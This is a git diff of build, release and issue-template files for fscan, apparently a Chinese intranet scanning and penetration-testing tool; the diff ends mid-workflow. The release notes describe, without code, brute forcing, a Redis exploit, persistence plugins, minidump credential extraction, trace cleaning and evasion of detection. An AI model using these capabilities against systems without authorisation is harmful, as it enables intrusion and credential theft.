# 统一换行符为 LF
* text=auto eol=lf
+123
View File
@@ -0,0 +1,123 @@
name: 🐛 Bug 报告
description: 报告扫描异常、崩溃或错误行为
title: "[Bug] "
labels: ["bug"]
body:
- type: markdown
attributes:
value: |
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
**请勿直接提交未修改的模板**,未填写有效信息的 Issue 会被直接关闭。
- type: dropdown
id: module
attributes:
label: 问题模块
description: 问题出现在哪个功能模块?
options:
- 端口扫描 (Port Scan)
- 主机存活检测 (Host Discovery)
- 服务识别 (Service Detection)
- 弱口令爆破 (Brute Force)
- POC/漏洞扫描 (POC Scan)
- Web指纹识别 (Web Fingerprint)
- 代理功能 (Proxy)
- 输出/日志 (Output/Logging)
- 命令行参数 (CLI Arguments)
- 嵌入式 SDK (Embedded SDK)
- 其他 (Other)
validations:
required: true
- type: dropdown
id: severity
attributes:
label: 严重程度
options:
- 崩溃/Panic (Crash)
- 功能异常 (Malfunction)
- 结果不准确 (Inaccurate)
- 性能问题 (Performance)
- 其他 (Other)
validations:
required: true
- type: textarea
id: description
attributes:
label: 问题描述
description: 清晰描述遇到的问题,包括预期行为和实际行为
validations:
required: true
- type: textarea
id: reproduce
attributes:
label: 复现步骤
description: 提供可以复现问题的完整命令(请脱敏 IP/密码)
render: shell
validations:
required: true
- type: textarea
id: output
attributes:
label: 错误输出
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
render: shell
- type: dropdown
id: version
attributes:
label: fscan 版本
options:
- 2.2.0-rc (dev)
- 2.1.3
- 2.1.2
- 2.1.0
- 2.0.x
- 1.8.x
- 其他/自编译
validations:
required: true
- type: dropdown
id: os
attributes:
label: 操作系统
options:
- Windows 11
- Windows 10
- Windows Server 2022
- Windows Server 2019
- Ubuntu 24.04
- Ubuntu 22.04
- CentOS 7/8/Stream
- Debian 11/12
- Kali Linux
- macOS 15 (Sequoia)
- macOS 14 (Sonoma)
- 其他 Linux
- 其他
validations:
required: true
- type: dropdown
id: arch
attributes:
label: 系统架构
options:
- amd64 (x86_64)
- arm64 (aarch64)
- 386 (x86)
- arm
- mips/mipsle
validations:
required: true
- type: textarea
id: additional
attributes:
label: 补充信息
description: 其他有助于排查的信息(网络环境、是否使用代理、自编译请注明 Go 版本等)
+10
View File
@@ -0,0 +1,10 @@
# Issue 模板配置
blank_issues_enabled: false
contact_links:
- name: 📖 使用文档 / README
url: https://github.com/shadow1ng/fscan/blob/main/README.md
about: 提交 Issue 前请先查阅文档,确认不是用法问题
- name: 💬 讨论区 / Discussions
url: https://github.com/shadow1ng/fscan/discussions
about: 使用疑问、经验分享、一般性讨论请使用 Discussions
+111
View File
@@ -0,0 +1,111 @@
name: 🎯 误报/漏报
description: 报告扫描结果不准确的问题
title: "[Accuracy] "
labels: ["accuracy"]
body:
- type: markdown
attributes:
value: |
感谢您帮助提高 fscan 的准确性!
**请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。
- type: dropdown
id: type
attributes:
label: 问题类型
options:
- 误报 (False Positive) - 报告了不存在的问题
- 漏报 (False Negative) - 未能检测到存在的问题
validations:
required: true
- type: dropdown
id: category
attributes:
label: 涉及功能
options:
- 主机存活检测
- 端口状态判断
- 服务识别
- 弱口令检测
- POC/漏洞检测
- Web指纹识别
- 其他
validations:
required: true
- type: textarea
id: command
attributes:
label: 使用的命令
description: 执行的 fscan 命令(请脱敏真实 IP/密码)
render: shell
validations:
required: true
- type: textarea
id: fscan-output
attributes:
label: fscan 输出结果
description: 粘贴相关的扫描输出(请脱敏敏感信息)
render: shell
validations:
required: true
- type: textarea
id: actual
attributes:
label: 实际情况及验证方式
description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等)
validations:
required: true
- type: dropdown
id: target-os
attributes:
label: 目标操作系统
options:
- Windows Server
- Windows Desktop
- Ubuntu/Debian
- CentOS/RHEL
- 其他 Linux
- 网络设备
- 容器/Docker
- 未知
validations:
required: true
- type: dropdown
id: network
attributes:
label: 网络环境
options:
- 直连(同网段)
- 跨网段/路由
- 通过代理 (SOCKS5/HTTP)
- VPN
validations:
required: true
- type: dropdown
id: version
attributes:
label: fscan 版本
options:
- 2.2.0-rc (dev)
- 2.1.3
- 2.1.2
- 2.1.0
- 2.0.x
- 1.8.x
- 其他/自编译
validations:
required: true
- type: textarea
id: suggestion
attributes:
label: 改进建议(可选)
description: 如果您有改进判断逻辑的想法
@@ -0,0 +1,68 @@
name: ✨ 功能请求
description: 提议新功能或改进现有功能
title: "[Feature] "
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的功能建议!请描述清楚使用场景和期望行为。
纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。
- type: dropdown
id: category
attributes:
label: 功能类别
options:
- 新扫描能力 (New Scan Capability)
- 性能优化 (Performance)
- 用户体验 (UX/CLI)
- 输出格式 (Output Format)
- 配置选项 (Configuration)
- 嵌入式 SDK (Embedded SDK)
- 集成/API (Integration/API)
- 其他 (Other)
validations:
required: true
- type: textarea
id: problem
attributes:
label: 解决什么问题?
description: 描述您的实际使用场景和痛点
validations:
required: true
- type: textarea
id: solution
attributes:
label: 期望的解决方案
description: 描述您希望的功能行为,最好包含预期的命令行用法示例
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: 替代方案(可选)
description: 您目前的变通方法,或考虑过的其他方案
- type: dropdown
id: priority
attributes:
label: 优先级建议
description: 您认为这个功能的重要程度
options:
- 高 - 核心场景缺失,严重影响使用
- 中 - 明显改善体验
- 低 - 锦上添花
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个功能并提交 PR
+71
View File
@@ -0,0 +1,71 @@
name: 🔌 新插件/协议支持
description: 请求支持新的服务、协议或漏洞检测
title: "[Plugin] "
labels: ["plugin", "enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
提交前请先确认该服务尚未被支持(查看 README 的支持列表)。
- type: dropdown
id: type
attributes:
label: 请求类型
options:
- 新服务/协议支持 (New Service)
- 新弱口令检测 (New Brute Force)
- 新漏洞 POC (New POC)
- 新指纹识别 (New Fingerprint)
validations:
required: true
- type: input
id: service
attributes:
label: 服务/协议名称
description: 例如 ClickHouse、etcd、Consul、Zookeeper
validations:
required: true
- type: input
id: port
attributes:
label: 默认端口
description: 例如 9000、2379、8500
- type: textarea
id: description
attributes:
label: 服务描述与检测思路
description: 简要介绍服务用途、在内网中的常见程度,以及如何识别(Banner 特征、认证方式等)
validations:
required: true
- type: textarea
id: reference
attributes:
label: 参考资料(可选)
description: 官方文档链接、协议规范、其他工具实现、CVE 编号等
- type: dropdown
id: prevalence
attributes:
label: 内网常见程度
options:
- 非常常见(企业环境标配)
- 较为常见(经常遇到)
- 偶尔遇到
- 较少见但高价值
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个插件并提交 PR
- label: 我可以提供测试环境
+64
View File
@@ -0,0 +1,64 @@
# 发版流程
## 预检查
```bash
# 1. 确认 CI 通过
gh run list --branch dev --limit 3
# 2. 全平台 dry-run(手动触发 snapshot 模式)
gh workflow run release.yml -f snapshot=true
# 3. 确认版本号一致
grep "version" common/globals.go
grep "版本" README.md
```
## 发版
```bash
# 1. 确认 release notes 已就绪
cat .github/release-notes/v<VERSION>.md
# 2. 打 tag(在 dev 分支打 RC,在 main 分支打正式版)
git tag v<VERSION>
git push origin v<VERSION>
# CI 自动执行:
# - goreleaser 全平台构建 + UPX 压缩
# - 创建 GitHub ReleaseRC 自动标记 pre-release
# - 用 .github/release-notes/ 下的文件覆盖 release body
```
## 版本号规范
| 场景 | 格式 | 分支 | 示例 |
|------|------|------|------|
| 正式版 | `vX.Y.Z` | main | `v2.2.0` |
| 预发布 | `vX.Y.Z-rc` | dev | `v2.2.0-rc` |
| 热修复 | `vX.Y.Z` | main | `v2.2.1` |
## Release Notes 模板
放在 `.github/release-notes/<tag>.md`,格式参考 `v2.2.0-rc.md`
如果文件不存在,goreleaser 会自动生成基于 commit 的 changelog。
## 正式版发布(RC → 正式)
```bash
# 1. 合并 dev 到 main
git checkout main
git merge dev
git push
# 2. 更新版本号去掉 -rc
# common/globals.go, README.md, README_EN.md
# 3. 准备正式版 release notes
# .github/release-notes/v2.2.0.md
# 4. 打 tag
git tag v2.2.0
git push origin v2.2.0
```
+91
View File
@@ -0,0 +1,91 @@
name: '构建和发布'
description: 'fscan 可复用构建动作'
inputs:
mode:
description: '构建模式: release 或 snapshot'
required: true
default: 'snapshot'
go-version:
description: 'Go 版本'
required: false
default: '1.20'
retention-days:
description: '产物保留天数'
required: false
default: '7'
release-args:
description: '额外的 goreleaser 参数'
required: false
default: ''
runs:
using: 'composite'
steps:
- name: 设置 Go 环境
uses: actions/setup-go@v5
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
with:
go-version: ${{ inputs.go-version }}
cache: true
- name: 下载依赖
shell: bash
run: |
go mod download
go mod verify
- name: 安装 UPX
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: 使用 GoReleaser 构建
uses: goreleaser/goreleaser-action@v6
with:
distribution: goreleaser
version: latest
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
env:
GITHUB_TOKEN: ${{ github.token }}
GITHUB_OWNER: ${{ github.repository_owner }}
GITHUB_REPO: ${{ github.event.repository.name }}
PROJECT_NAME: ${{ github.event.repository.name }}
- name: 上传产物
uses: actions/upload-artifact@v4
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
if: always()
with:
name: build-${{ inputs.mode }}-${{ github.run_id }}
path: dist/
retention-days: ${{ inputs.retention-days }}
- name: 生成报告
shell: bash
if: always()
run: |
cat >> $GITHUB_STEP_SUMMARY << EOF
# 构建报告
| 项目 | 值 |
|------|-----|
| 模式 | \`${{ inputs.mode }}\` |
| 版本 | \`${GITHUB_REF_NAME}\` |
| 提交 | \`${GITHUB_SHA:0:7}\` |
| Go | \`$(go version | awk '{print $3}')\` |
## 构建产物
$(if [ -d "dist" ]; then
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
else
echo "- 无产物"
fi)
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
EOF
+225 -45
View File
@@ -1,64 +1,244 @@
project_name: "fscan"
before:
hooks:
- go mod tidy
- go mod download
builds:
-
id: default
# 标准版 - 全部插件(全架构)
- id: fscan
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos:
- windows
- linux
- darwin
- freebsd
- solaris
goarch:
- amd64
- "386"
- arm
- arm64
- mips
- mipsle
- mips64
goarm:
- "6"
- "7"
flags:
- -trimpath
ldflags:
- -s -w
goos: [windows, linux, darwin, freebsd, solaris]
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
goarm: ["5", "6", "7"]
gomips: [softfloat]
ignore:
- goos: darwin
goarch: "386"
- goos: darwin
goarch: arm
- goos: darwin
goarch: mips
- goos: darwin
goarch: mips64
- goos: darwin
goarch: mipsle
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: windows
goarch: mips
- goos: windows
goarch: mips64
- goos: windows
goarch: mipsle
- goos: freebsd
goarch: mips
- goos: freebsd
goarch: mips64
- goos: freebsd
goarch: mipsle
- goos: solaris
goarch: "386"
- goos: solaris
goarch: arm
- goos: solaris
goarch: arm64
- goos: solaris
goarch: mips
- goos: solaris
goarch: mips64
- goos: solaris
goarch: mipsle
flags: [-trimpath]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
# 无本地插件版 - 排除本地模块(全架构)
- id: fscan-nolocal
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin, freebsd, solaris]
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
goarm: ["5", "6", "7"]
gomips: [softfloat]
ignore:
- goos: darwin
goarch: "386"
- goos: darwin
goarch: arm
- goos: darwin
goarch: mips
- goos: darwin
goarch: mips64
- goos: darwin
goarch: mipsle
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: windows
goarch: mips
- goos: windows
goarch: mips64
- goos: windows
goarch: mipsle
- goos: freebsd
goarch: mips
- goos: freebsd
goarch: mips64
- goos: freebsd
goarch: mipsle
- goos: solaris
goarch: "386"
- goos: solaris
goarch: arm
- goos: solaris
goarch: arm64
- goos: solaris
goarch: mips
- goos: solaris
goarch: mips64
- goos: solaris
goarch: mipsle
flags: [-trimpath]
tags: [no_local]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
# WebUI版 - 主流平台即可
- id: fscan-web
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin]
goarch: [amd64, arm64, "386"]
goarm: ["7"]
ignore:
- goos: darwin
goarch: "386"
- goos: windows
goarch: arm64
flags: [-trimpath]
tags: [web]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
upx:
-
ids: [ default ]
- ids: [fscan, fscan-nolocal, fscan-web]
enabled: true
goos: ["windows", "linux"]
goarch: ["amd64", "386"]
goos: [windows, linux, freebsd]
goarch: [amd64, "386", arm, arm64, mips, mipsle]
compress: best
# lzma: true
# brute: true
brute: false
lzma: false
archives:
-
# 标准版归档
- id: fscan
builds: [fscan]
format: binary
allow_different_binary_count: true
name_template: >-
{{- .ProjectName }}
{{- if eq .Os "darwin"}}_mac
{{- else if eq .Os "linux"}}
{{- else if eq .Os "windows"}}
{{- else }}_{{ .Os }}{{ end }}
{{- if eq .Arch "amd64" }}
{{- else if eq .Arch "386" }}32
{{- else }}_{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end -}}
fscan_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# 无本地插件版归档
- id: fscan-nolocal
builds: [fscan-nolocal]
format: binary
allow_different_binary_count: true
name_template: >-
fscan-nolocal_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# WebUI版归档
- id: fscan-web
builds: [fscan-web]
format: binary
allow_different_binary_count: true
name_template: >-
fscan-web_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
checksum:
name_template: 'checksums.txt'
snapshot:
name_template: "{{ incpatch .Version }}-next"
algorithm: sha256
changelog:
sort: asc
use: github
filters:
exclude:
- '^docs:'
- '^test:'
- "^*.md"
- "^*.ya?ml"
- "^(docs|test|ci|chore):"
- "Merge (pull request|branch)"
groups:
- title: "🚀 新功能"
regexp: "^.*feat[(\\w)]*:+.*$"
order: 0
- title: "🐛 问题修复"
regexp: "^.*fix[(\\w)]*:+.*$"
order: 1
- title: "🔧 其他改进"
order: 999
release:
github:
owner: "{{ .Env.GITHUB_OWNER }}"
name: "{{ .Env.GITHUB_REPO }}"
draft: false
prerelease: auto
mode: replace
header: |
## {{ .ProjectName }} {{ .Tag }}
感谢使用 {{ .ProjectName }}
### 版本说明
| 版本 | 说明 |
|------|------|
| **fscan** | 标准版,包含全部插件(推荐) |
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
### 平台支持
| 平台 | 架构 |
|------|------|
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
| Windows | x64, x32 |
| macOS | x64, arm64 |
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
| Solaris | x64 |
footer: |
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
snapshot:
name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
metadata:
mod_timestamp: "{{ .CommitTimestamp }}"
+117
View File
@@ -0,0 +1,117 @@
# fscan v2.2.0-rc.1
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
---
## 与 v2.2.0-rc 的变更
本版本基于大量实机测试反馈,**修复 30+ 个问题,新增自适应扫描系统**。183 个文件变更。
---
### 🚀 新功能
#### 自适应并发调度
扫描前自动探测网络环境(RTT、丢包率、fd limit),基于探测数据推导关键参数,替代硬编码默认值:
- **Timeout**: `median_RTT + 4σ`(覆盖 99.9% 正常连接),下限 1s,上限 10s
- **ModuleThreadNum**: `ThreadNum / 30`,下限 5,上限 50
- **MaxRetries**: 基于丢包率推导,保证全失败概率 <1%
- **ICMPRate / PocNum**: 跟随环境和并发自动调整
线程池升级为 **AIMD + 慢启动**:慢启动阶段 500ms 翻倍,稳态 AIMD(健康 +5%,拥塞 ×0.5),双信号(资源耗尽率 + RTT 趋势)驱动。
#### 协议级超时下限(ModuleTimeout
新增 `Config.ModuleTimeout()` 方法,保证插件级交互超时不低于 3s。自适应系统将端口扫描超时压到 1s 时,SSH 握手、SNMP 探测、数据库认证等多轮交互协议不再受影响。全部 44 个服务插件已迁移。
#### 限流错误分类(ErrorTypeThrottle
新增 `ErrorTypeThrottle` 错误类型,区分服务端限流(SSH MaxStartups 等)和真正的网络不可达。限流错误不计入连续失败计数,触发 500ms 退避后继续,避免误判目标不可达而提前放弃。
#### Web 版独立入口
- 拆分 `main.go``main_cli.go``main_web.go`
- Web 版结果存储从内存替换为 SQLite 持久化(纯 Go 零 CGO
---
### 🐛 Bug 修复
#### 插件调度(#586 #587 #588
- **非标准端口服务无法匹配插件** — SSH 在 8881 端口,端口匹配失败导致插件不执行。新增服务名称缓存 + 指纹驱动回退匹配 (#588)
- **移除误导性的"无可用插件"日志** — 预检基于静态端口匹配,不代表实际不执行 (#588)
- **默认扫描 POC 结果缺失** — `executeRules` 返回空 `vulName` 导致检测结果被丢弃 (#586)
- **批量扫描(-hf)POC 缺失** — 并发压力下 HTTP 请求瞬时失败未重试,跳过指纹识别和 POC 触发。加入指数退避重试 (#587)
- **UDP 插件在 `-p` 指定端口时被跳过** — 现在按用户指定端口过滤并正确调度
- **`-full` 模式下 Web 插件跳过 `IsMarkedWebService` 检查**
- **不确定服务补做 HTTP 回退探测**,覆盖自定义 HTTP 框架漏网场景
#### UDP 插件
- **UDP 插件阻塞导致扫描无法结束** — `conn.Read()` 在目标不响应时无限阻塞。所有 UDP 插件(SNMP/BACnet/DNS/IPMI/TFTP)统一使用 context timeout + conn.Close 双保险
- **SNMP community 爆破混入通用密码字典** — 57 个通用密码串行探测导致 10 分钟阻塞,精简为 8 个专用 community
#### SSH
- **SSH goroutine 泄漏** — `ssh.NewClientConn` 不接受 contextcontext 取消后底层 TCP 连接未关闭,大规模扫描时泄漏数万 goroutine
- **SSH 握手无 TCP deadline 兜底** — 在 `NewClientConn` 前设置 deadline,握手成功后清除
- **SSH 爆破并发过高** — 从 30 降至 3,避免触发 OpenSSH MaxStartups 限流
#### Redis
- **Redis exploit 无超时保护** — exploit 阶段移除了全部 deadline,改为 30s 超时
- **Redis readReply 吞没非超时错误** — 现在仅对 timeout 类型错误做容忍
#### POC 引擎
- **DetectPocFormat 误判含 transport 的 fscan POC 为 xray 格式** — 修复后 388 个 POC 全部正确加载(之前 8 个失败)
- **CEL clustersend 结果判断错误** — 从字符串比较改为类型断言
- **CEL wait() 函数 nil Reverse 指针 panic**
- **reverseCheck 无超时** — 加 10s 超时防止 ceye API 阻塞
- **正则编译结果未缓存** — `doSearch`/`bmatches` 缓存到 `sync.Map`
#### 参数与输出
- **`-gt` 全局超时参数是死代码** — 现在真正生效,超时后取消所有扫描任务
- **`-nopoc` 禁用 POC 时仍输出错误日志** — 已修复
- **`-debug` 日志文件写入失败** — `applyLogLevel` 重建 Logger 时丢失 `DebugLogFile` 配置
- **`-hash` 不支持 LM:NT 格式** — 现在支持 `aad3b435b51404ee:31d6cfe0d16ae931...` 标准格式
- **`-pwd` 不支持逗号分隔多个密码** — 现在 `-pwd "123,456,root"` 正确拆分
- **`-nobr` 跳过了 Redis 未授权检测** — 未授权是服务探测不是爆破,不受 `-nobr` 影响
- **非终端输出时 ANSI 控制码覆盖扫描结果** — 管道/重定向时自动禁用进度条和颜色
- **静默模式 NDJSON banner 过长** — Redis INFO ~5KB 截断至 200 字符
- **CSV 漏洞 Type 列为空** — 补全 `type` 字段
- **SNMP 探测成功但终端无输出** — 补充 `session.LogVuln` 调用
#### 其他
- **service_probe 连接丢失后静默成功** — `Write`/`Read``Conn=nil` 时返回明确错误
- **MongoDB readMongoMsg 未设置读超时**
- **TXTWriter.Close Sync 失败后未关闭文件**
- **MySQL 3306 服务名误识别为 genetec-5400** — nmap 指纹库误匹配,通过 banner 特征校正
- **gmtls stdout 竞态** — 移除 `os.Stdout` 非同步重定向
---
### 🏗️ 架构优化
- **统一服务缓存** — `webServiceCache` 扩展为通用 `serviceCache`,下沉到 per-session State,消除多实例缓存串台
- **CEL 表达式编译缓存** — 同一 POC 的所有规则共享编译后的 Program
- **POC 全局状态消除** — `allPocs` 全局变量改为 `pocStore` 按 PocPath 缓存,并发场景不再互相覆盖
- **进度条竞态修复** — `isActive` 改为 `atomic.Bool`
- **Lint 全量修复** — cassandra/ipmi/mongodb/webscan 的 ineffassign、unused、errcheck
---
## 反馈与贡献
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
+106
View File
@@ -0,0 +1,106 @@
# fscan v2.2.0-rc
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
---
## 与 v2.1.3 的主要变更
### 🏗️ 架构升级:嵌入式 Scanner SDK
新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。
- 支持从其他 Go 程序直接调用 fscan 扫描能力
- 每个 Scanner 实例拥有独立的 config/state/session
- 支持多实例并发扫描,日志和结果完全隔离
- 全局状态已完整迁移到 session 实例
### 🚀 大规模扫描支持
- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存
- **移除 MaxHosts 硬限制** — 大网段不再被静默截断
- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic
### 🔌 新增协议插件(+9
| 插件 | 用途 |
|------|------|
| IMAP / POP3 | 邮件服务器检测 |
| JDWP | Java Debug 端口检测 |
| NFS / RMI | 文件共享 / Java 远程调用 |
| IPMI | 服务器带外管理 |
| SNMP (UDP) | 网络设备管理 |
| DNS / BACnet / Modbus | DNS 服务 / 工控协议 |
全部为**原生协议实现**,零外部依赖。
### ⚡ 性能与体积优化
- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小**
- 热路径零分配、自适应连接池 CAS 无锁化
- Scanner 客户端指纹收敛(降低被检测概率)
### 🌐 网络能力增强
- **SOCKS5 代理认证**支持(用户名/密码)
- **国密 TLS**SM2/SM3/SM4)网站扫描
- 支持 `-add-password` 追加多个自定义密码
### 🔧 本地后渗透插件
- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask
- minidump 降级链凭据提取 + 杀软前置检测
- cleaner 清理所有持久化痕迹
- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo
### 📦 工程改进
- 目录重命名:`WebScan/``webscan/``mylib/``libs/`
- i18n 覆盖扩展(中/英双语)
- 全量 lint/errcheck 修复
- 补充大量单元测试
---
## ⚠️ 已知问题 / 注意事项
| 问题 | 说明 |
|------|------|
| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) |
| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) |
| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 |
| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 |
| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 |
---
## 反馈与贡献
这是一个 RC 版本,我们非常需要你的反馈:
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
---
## 版本说明
| 版本 | 说明 |
|------|------|
| **fscan** | 标准版,包含全部插件(推荐) |
| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) |
| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) |
## 平台支持
| 平台 | 架构 |
|------|------|
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
| Windows | x64, x32 |
| macOS | x64 (Intel), arm64 (Apple Silicon) |
| FreeBSD | x64, x32, arm64, armv5/6/7 |
| Solaris | X64n |
+81
View File
@@ -0,0 +1,81 @@
name: Project 自动化
on:
issues:
types: [opened, closed, reopened]
env:
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
jobs:
# Issue/PR 创建时添加到 Project,状态设为"要搞"
add-to-project:
if: github.event.action == 'opened'
runs-on: ubuntu-latest
steps:
- name: Add to project
uses: actions/[email protected]
id: add
with:
project-url: ${{ env.PROJECT_URL }}
github-token: ${{ secrets.GITHUB_TOKEN }}
- name: Set status to 要搞
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.add.outputs.itemId }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id f75ad846
# Issue/PR 关闭时状态设为"搞定"
close-item:
if: github.event.action == 'closed'
runs-on: ubuntu-latest
steps:
- name: Get item ID
id: get-item
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
- name: Set status to 搞定
if: steps.get-item.outputs.item_id != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.get-item.outputs.item_id }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id 98236657
# Issue/PR 重新打开时状态设为"在搞"
reopen-item:
if: github.event.action == 'reopened'
runs-on: ubuntu-latest
steps:
- name: Get item ID
id: get-item
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
- name: Set status to 在搞
if: steps.get-item.outputs.item_id != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.get-item.outputs.item_id }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id 47fc9ee4
+54 -25
View File
@@ -1,43 +1,72 @@
name: goreleaser
name: 发布
on:
push:
tags:
- '*'
- 'v*'
workflow_dispatch:
inputs:
snapshot:
description: '仅测试构建(不发布)'
type: boolean
default: false
draft:
description: '创建草稿发布'
type: boolean
default: false
permissions:
contents: write
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
jobs:
goreleaser:
release:
runs-on: ubuntu-latest
timeout-minutes: 60
timeout-minutes: 90
steps:
- name: "Check out code"
uses: actions/checkout@v3
